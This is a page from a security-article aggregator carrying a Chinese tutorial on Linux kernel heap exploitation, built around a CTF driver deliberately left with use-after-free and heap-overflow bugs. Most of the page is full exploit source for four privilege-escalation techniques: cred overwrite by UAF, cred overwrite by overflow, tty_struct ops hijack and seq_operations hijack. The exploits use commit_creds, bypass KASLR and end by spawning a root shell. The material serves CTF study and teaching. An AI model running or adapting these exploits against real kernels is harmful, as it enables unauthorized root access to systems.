Aggregator
Ананас на пицце – это вкусно? Безобидная шутка Малленвега вызвала шквал критики
Russia FSB relies on Ukrainian minors for criminal activities disguised as “quest games”
Russia FSB relies on Ukrainian minors for criminal activities disguised as “quest games”
CODEGATE CTF 2024決勝のWriteup
This Data Science-based Approach Can Help Convert Users Into Paying Customers
16-30 September 2024 Cyber Attacks Timeline
【处置手册】Apache Struts任意文件上传漏洞S2-067(CVE-2024-53677)
【处置手册】Apache Struts任意文件上传漏洞S2-067(CVE-2024-53677)
US Unveils New National Cyber Incident Response Plan
2024年全球加快推进人工智能监管
2024年全球加快推进人工智能监管
Linux kernel 堆溢出利用方法
本文还是用一道例题来讲解几种内核堆利用方法,内核堆利用手段比较多,可能会分三期左右写。进行内核堆利用前,可以先了解一下内核堆的基本概念,当然更好去找一些详细的内核堆的基础知识。
概述Linux kernel 将内存分为 页(page)→区(zone)→节点(node) 三级结构,主要有两个内存管理器—— buddy system 与 slub allocator,前者负责以内存页为粒度管理所有可用的物理内存,后者则以slab分配器为基础向前者请求内存页并划分为多个较小的对象(object)以进行细粒度的内存管理。
budy systembuddy system 以 page 为粒度管理着所有的物理内存,在每个 zone 结构体中都有一个 free_area 结构体数组,用以存储 buddy system 按照 order 管理的页面:
-
分配:
-
首先会将请求的内存大小向 2 的幂次方张内存页大小对齐,之后从对应的下标取出连续内存页。
-
若对应下标链表为空,则会从下一个 order 中取出内存页,一分为二,装载到当前下标对应链表中,之后再返还给上层调用,若下一个 order 也为空则会继续向更高的 order 进行该请求过程。
-
释放:
-
将对应的连续内存页释放到对应的链表上。
-
检索是否有可以合并的内存页,若有,则进行合成,放入更高 order 的链表中。
slub_allocator 是基于 slab_alloctor 的分配器。slab allocator 向 buddy system 请求单张或多张连续内存页后再分割成同等大小的 object 返还给上层调用者来实现更为细粒度的内存管理。
-
分配:
-
首先从 kmem_cache_cpu 上取对象,若有则直接返回。
-
若 kmem_cache_cpu 上的 slub 已经无空闲对象了,对应 slub 会被从 kmem_cache_cpu 上取下,并尝试从 partial 链表上取一个 slub 挂载到 kmem_cache_cpu 上,然后再取出空闲对象返回。
-
若 kmem_cache_node 的 partial 链表也空了,那就向 buddy system 请求分配新的内存页,划分为多个 object 之后再给到 kmem_cache_cpu,取空闲对象返回上层调用。
-
释放:
-
若被释放 object 属于 kmem_cache_cpu 的 slub,直接使用头插法插入当前 CPU slub 的 freelist。
-
若被释放 object 属于 kmem_cache_node 的 partial 链表上的 slub,直接使用头插法插入对应 slub 的 freelist。
-
若被释放 object 为 full slub,则其会成为对应 slub 的 freelist 头节点,且该 slub 会被放置到 partial 链表。
题目给了源码,存在UAF和heap overflow两种漏洞。内核版本为4.4.27
#include <asm/uaccess.h>#include <linux/cdev.h>
#include <linux/device.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/types.h>
struct class *bof_class;
struct cdev cdev;
int bof_major = 256;
char *ptr[40];// 指针数组,用于存放分配的指针
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
unsigned long idx;// 表示 ptr 数组的 索引
};
long bof_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
struct param p_arg;
copy_from_user(&p_arg, (void *) arg, sizeof(struct param));
long retval = 0;
switch (cmd) {
case 9:
copy_to_user(p_arg.buf, ptr[p_arg.idx], p_arg.len);
printk("copy_to_user: 0x%lx\n", *(long *) ptr[p_arg.idx]);
break;
case 8:
copy_from_user(ptr[p_arg.idx], p_arg.buf, p_arg.len);
break;
case 7:
kfree(ptr[p_arg.idx]);
printk("free: 0x%p\n", ptr[p_arg.idx]);
break;
case 5:
ptr[p_arg.idx] = kmalloc(p_arg.len, GFP_KERNEL);
printk("alloc: 0x%p, size: %2lx\n", ptr[p_arg.idx], p_arg.len);
break;
default:
retval = -1;
break;
}
return retval;
}
static const struct file_operations bof_fops = {
.owner = THIS_MODULE,
.unlocked_ioctl = bof_ioctl,//linux 2.6.36内核之后unlocked_ioctl取代ioctl
};
static int bof_init(void) {
//设备号
dev_t devno = MKDEV(bof_major, 0);
int result;
if (bof_major)//静态分配设备号
result = register_chrdev_region(devno, 1, "bof");
else {//动态分配设备号
result = alloc_chrdev_region(&devno, 0, 1, "bof");
bof_major = MAJOR(devno);
}
printk("bof_major /dev/bof: %d\n", bof_major);
if (result < 0) return result;
bof_class = class_create(THIS_MODULE, "bof");
device_create(bof_class, NULL, devno, NULL, "bof");
cdev_init(&cdev, &bof_fops);
cdev.owner = THIS_MODULE;
cdev_add(&cdev, devno, 1);
return 0;
}
static void bof_exit(void) {
cdev_del(&cdev);
device_destroy(bof_class, MKDEV(bof_major, 0));
class_destroy(bof_class);
unregister_chrdev_region(MKDEV(bof_major, 0), 1);
printk("bof exit success\n");
}
MODULE_AUTHOR("exp_ttt");
MODULE_LICENSE("GPL");
module_init(bof_init);
module_exit(bof_exit);
boot.sh
这道题是多核多线程。并且开启了smep和smap。
#!/bin/bashqemu-system-x86_64 \
-initrd rootfs.cpio \
-kernel bzImage \
-m 512M \
-nographic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
-monitor /dev/null \
-smp cores=2,threads=2 \
-cpu kvm64,+smep,+smap \ kernel Use After Free 利用思路
cred 结构体大小为 0xa8 ,根据 slub 分配机制,如果申请和释放大小为 0xa8(实际为 0xc0 )的内存块,此时再开一个线程,则该线程的 cred 结构题正是刚才释放掉的内存块。利用 UAF 漏洞修改 cred 就可以实现提权。
exp #include <fcntl.h>#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/wait.h>
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
unsigned long idx;// 表示 ptr 数组的 索引
};
int main() {
int fd = open("dev/bof", O_RDWR);
struct param p = {0xa8, malloc(0xa8), 1};
ioctl(fd, BOF_MALLOC, &p);
ioctl(fd, BOF_FREE, &p);
int pid = fork(); // 这个线程申请的cred结构体obj即为刚才释放的obj。
if (pid < 0) {
puts("[-]fork error");
return -1;
}
if (pid == 0) {
p.buf = malloc(p.len = 0x30);
memset(p.buf, 0, p.len);
ioctl(fd, BOF_EDIT, &p); // 修改用户ID
if (getuid() == 0) {
puts("[+]root success");
system("/bin/sh");
} else {
puts("[-]root failed");
}
} else {
wait(NULL);
}
close(fd);
return 0;
}
但是此种方法在较新版本 kernel 中已不可行,我们已无法直接分配到 cred_jar 中的 object,这是因为 cred_jar 在创建时设置了 SLAB_ACCOUNT 标记,在 CONFIG_MEMCG_KMEM=y 时(默认开启)cred_jar 不会再与相同大小的 kmalloc-192 进行合并。
// kernel version == 4.4.72void __init cred_init(void)
{
/* allocate a slab in which we can store credentials */
cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),
0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
}
// kernel version == 4.5
void __init cred_init(void)
{
/* allocate a slab in which we can store credentials */
cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
} heap overflow
溢出修改 cred ,和前面 UAF 修改 cred 一样,在新版本失效。多核堆块难免会乱序,溢出之前记得多申请一些0xc0大小的obj,因为我们 freelist 中存在很多之前使用又被释放的obj导致的obj乱序。我们需要一个排列整齐的内存块用于修改。
利用思路-
多申请几个0xa8大小的内存块,将原有混乱的freelist 变为地址连续的 freelist。
-
利用堆溢出,修改被重新申请作为cred的ptr[5]凭证区为0。
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/wait.h>
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
long long idx; // 表示 ptr 数组的 索引
};
const int BOF_NUM = 10;
int main(void) {
int bof_fd = open("/dev/bof", O_RDWR);
if (bof_fd == -1) {
puts("[-] Failed to open bof device.");
exit(-1);
}
struct param p = {0xa8, malloc(0xa8), 0};
// 让驱动分配 0x40 个 0xa8 的内存块
for (int i = 0; i < 0x40; i++) {
ioctl(bof_fd, 5, &p); // malloc
}
puts("[*] clear heap done");
// 让驱动分配 10 个 0xa8 的内存块
for (p.idx = 0; p.idx < BOF_NUM; p.idx++) {
ioctl(bof_fd, 5, &p); // malloc
}
p.idx = 5;
ioctl(bof_fd, 7, &p); // free
// 调用 fork 分配一个 cred结构体
int pid = fork();
if (pid < 0) {
puts("[-] fork error");
exit(-1);
}
// 此时 ptr[4] 和 cred相邻
// 溢出 修改 cred 实现提权
p.idx = 4, p.len = 0xc0 + 0x30;
memset(p.buf, 0, p.len);
ioctl(bof_fd, 8, &p);
if (!pid) {
//一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了
size_t uid = getuid();
printf("[*] uid: %zx\n", uid);
if (!uid) {
puts("[+] root success");
// 权限修改完毕,启动一个shell,就是root的shell了
system("/bin/sh");
} else {
puts("[-] root fail");
}
} else {
wait(0);
}
return 0;
} tty_struct 劫持
boot.sh
这道题gadget较少,我们就关了smep保护。
#!/bin/bashqemu-system-x86_64 \
-initrd rootfs.img \
-kernel bzImage \
-m 512M \
-nographic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
-monitor /dev/null \
-s \
-cpu kvm64 \
-smp cores=1,threads=1 \
--nographic 利用思路
在 /dev 下有一个伪终端设备 ptmx ,在我们打开这个设备时内核中会创建一个 tty_struct 结构体,
ptmx_open (drivers/tty/pty.c)-> tty_init_dev (drivers/tty/tty_io.c)
-> alloc_tty_struct (drivers/tty/tty_io.c)
tty 的结构体 tty_srtuct 定义在 linux/tty.h 中。其中 ops 项(64bit 下位于 结构体偏移 0x18 处)指向一个存放 tty 相关操作函数的函数指针的结构体 tty_operations 。其魔数为0x5401
// sizeof(struct tty_struct) == 0x2e0/* tty magic number */
#define TTY_MAGIC 0x5401
struct tty_struct {
...
const struct tty_operations *ops;
...
}
struct tty_operations {
...
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
...
};
使用 tty 设备的前提是挂载了 ptmx 设备。
mkdir /dev/ptsmount -t devpts none /dev/pts
chmod 777 /dev/ptmx
所以我们只需要劫持 tty_ops 的某个可触发的操作即可,将其劫持到 get_root 函数处。
exp #include <sys/wait.h>#include <assert.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
void *(*commit_creds)(void *) = (void *) 0xffffffff810a1340;
size_t init_cred = 0xFFFFFFFF81E496C0;
void get_shell()
{
system("/bin/sh");
}
unsigned long user_cs, user_rflags, user_rsp, user_ss, user_rip = (size_t) get_shell;
void save_status() {
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_rsp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
size_t kernel_offset;
void get_root() {
// 通过栈上残留地址来绕过 KASLR
__asm__(
"mov rbx, [rsp + 8];"
"mov kernel_offset, rbx;"
);
kernel_offset -= 0xffffffff814f604f;
commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
init_cred = (void *) ((size_t) init_cred + kernel_offset);
commit_creds(init_cred);
__asm__(
"swapgs;"
"push user_ss;"
"push user_rsp;"
"push user_rflags;"
"push user_cs;"
"push user_rip;"
"iretq;"
);
}
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
long long idx; // 表示 ptr 数组的 索引
};
int main(int argc, char const *argv[])
{
save_status();
size_t fake_tty_ops[] = {
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
get_root
};
// len buf idx
struct param p = {0x2e0, malloc(0x2e0), 0};
printf("[*]p_addr==>%p\n", &p);
int bof_fd = open("/dev/bof", O_RDWR);
p.len = 0x2e0;
ioctl(bof_fd, BOF_MALLOC, &p);
memset(p.buf, '\xff', 0x2e0);
ioctl(bof_fd, BOF_EDIT, &p);
ioctl(bof_fd, BOF_FREE, &p);
int ptmx_fd = open("/dev/ptmx", O_RDWR);
p.len = 0x20;
ioctl(bof_fd, BOF_READ, &p);
printf("[*]magic_code==> %p -- %p\n", &p.buf[0], *(size_t *)&p.buf[0]);
printf("[*]tty____ops==> %p -- %p\n", &p.buf[0x18], *(size_t *)&p.buf[0x18]);
*(size_t *)&p.buf[0x18] = &fake_tty_ops;
ioctl(bof_fd, BOF_EDIT, &p);
ioctl(ptmx_fd, 0, 0);
return 0;
} seq_operations 劫持
boot.sh
#!/bin/bashqemu-system-x86_64 \
-initrd rootfs.img \
-kernel bzImage \
-m 512M \
-nographic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
-monitor /dev/null \
-s \
-cpu kvm64 \
-smp cores=1,threads=1 \
--nographic 利用思路
seq_operations 结构如下,该结构在打开 /proc/self/stat 时从 kmalloc-32 中分配。
struct seq_operations {void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
调用读取 stat 文件时会调用 seq_operations 的 start 函数指针。
ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos){
struct seq_file *m = file->private_data;
...
p = m->op->start(m, &pos);
...
当我们在 heap_bof 驱动分配 0x20 大小的 object 后打开大量的 stat 文件就有很大概率在 heap_bof 分配的 object 的溢出范围内存在 seq_operations 结构体。由于这道题关闭了 SMEP,SMAP 和 KPTI 保护,因此我们可以覆盖 start 函数指针为用户空间的提权代码实现提权。至于 KASLR 可以通过泄露栈上的数据绕过。
exp #include <fcntl.h>#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
long long idx;// 表示 ptr 数组的 索引
};
const int SEQ_NUM = 0x200;
const int DATA_SIZE = 0x20 * 8;
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
void get_shell() {
system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss, user_rip = (size_t) get_shell;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340;
void *init_cred = (void *) 0xFFFFFFFF81E496C0;
size_t kernel_offset;
void get_root() {
// 通过栈上的残留值绕过KASLR。
__asm__(
"mov rax, [rsp + 8];"
"mov kernel_offset, rax;"
);
kernel_offset -= 0xffffffff81229378;
commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
init_cred = (void *) ((size_t) init_cred + kernel_offset);
commit_creds(init_cred);
__asm__(
"swapgs;"
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push user_rip;"
"iretq;"
);
}
int main() {
save_status();
int bof_fd = open("dev/bof", O_RDWR);
if (bof_fd < 0) {
puts("[-] Failed to open bof.");
exit(-1);
}
struct param p = {0x20, malloc(0x20), 0};
for (int i = 0; i < 0x40; i++) {
ioctl(bof_fd, BOF_MALLOC, &p);
}
memset(p.buf, '\xff', p.len);
ioctl(bof_fd, BOF_EDIT, &p);
// 大量喷洒 seq_ops 结构体。
int seq_fd[SEQ_NUM];
for (int i = 0; i < SEQ_NUM; i++) {
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
if (seq_fd[i] < 0) {
puts("[-] Failed to open stat.");
}
}
puts("[*] seq_operations spray finished.");
// 通过溢出,将附近 seq_ops 的指针修改为 get_root地址。
p.len = DATA_SIZE;
p.buf = malloc(DATA_SIZE);
p.idx = 0;
for (int i = 0; i < DATA_SIZE; i += sizeof(size_t)) {
*(size_t *) &p.buf[i] = (size_t) get_root;
}
ioctl(bof_fd, BOF_EDIT, &p);
puts("[*] Heap overflow finished.");
for (int i = 0; i < SEQ_NUM; i++) {
read(seq_fd[i], p.buf, 1);
}
return 0;
}